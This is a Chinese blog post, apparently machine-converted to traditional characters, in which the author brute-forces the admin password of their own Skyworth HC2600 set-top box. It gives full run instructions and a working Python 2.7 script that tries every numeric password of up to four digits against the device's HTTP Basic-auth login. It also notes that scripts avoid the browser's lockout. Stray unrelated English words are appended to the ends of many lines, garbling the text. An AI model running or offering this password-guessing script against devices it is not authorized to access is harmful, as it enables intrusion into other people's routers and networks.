家裏最近接入了廣電有線電視,配了三個創維 HC2600 機頂盒,而且每一個機頂盒還帶有無線路由器功能。python
免費贈送 Internet 接入服務倒也沒什麼,不過機頂盒內置的 WIFI 實在有點寒酸:只支持 2.4 GHz 頻段下 802.11n 150 Mbps 速率的傳輸。2.4 GHz 頻段原本就很擁擠,用戶體驗並很差,要是和支持 802.11 ac 的雙頻無線路由器混用的話,恐怕反而會由於干擾起到副作用。瀏覽器
然而要對 HC2600 機頂盒做任何配置修改,都須要管理員密碼。網上搜索到 HC2600 的管理員用戶名貌似是 admin (後來證明也的確如此),可是密碼則沒法肯定。socket
因此我就編寫了一個 Python 腳本進行暴力嘗試。破解步驟以下:url
首先把電腦經過網線鏈接到機頂盒的 Ethernet 接口,電腦會經過 DHCP 自動獲取獲得 IP 地址。spa
而後安裝最新版的 Python 2.7,而且新建一個文件 tvbox.py 輸入如下內容:code
import base64, socket, urllib2 def login(url, username, password): while True: try: request1 = urllib2.Request(url) response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds except socket.timeout, e: # timeout handler for Python 2.7 print "Login timedout" continue except urllib2.URLError, e: if e.code != 401: raise else: break while True: try: request2 = urllib2.Request(url) base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '') request2.add_header("Authorization", "Basic %s" % base64string) response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds return True except socket.timeout, e: # timeout handler for Python 2.7 print "Login timedout" continue except urllib2.URLError, e: if e.code == 401: return False def main(): for length in range(1, 5): end = 10 ** length print "Trying length %d (start = 0, end = %d)" % (length, end) for i in range(0, end): pattern = "%%0%dd" % length password = pattern % i if login("http://192.168.99.1", "admin", password): print "Password found: %s" % password break else: print "%s" % password main()
上面的文件中,假定機頂盒中路由器的地址是 192.168.99.1,若是你的配置不一樣,須要修改 tvbox.py 中第 41 行代碼。blog
肯定無誤後,運行 tvbox.py 便可。接口
上面的腳本嘗試了 0-九、00-9九、000-99九、0000-9999 這 11110 個純數字密碼,目測破解速度在每秒 100 次左右。路由
PS:若是使用瀏覽器嘗試登陸,密碼錯誤三次後須要刷新才能繼續嘗試。這是瀏覽器設定的限制,使用腳本的話並無這樣的限制。string
……
結果出乎意料,很快密碼就出來了:0000,多虧了安裝人員圖省事。要是真的要掃遍 8 位純數字密碼的全部可能性,恐怕要花十幾天。
小提示:上面的腳本只適用於 Python 2.7,若是你用的是其它版本,可能須要對代碼作少量修改。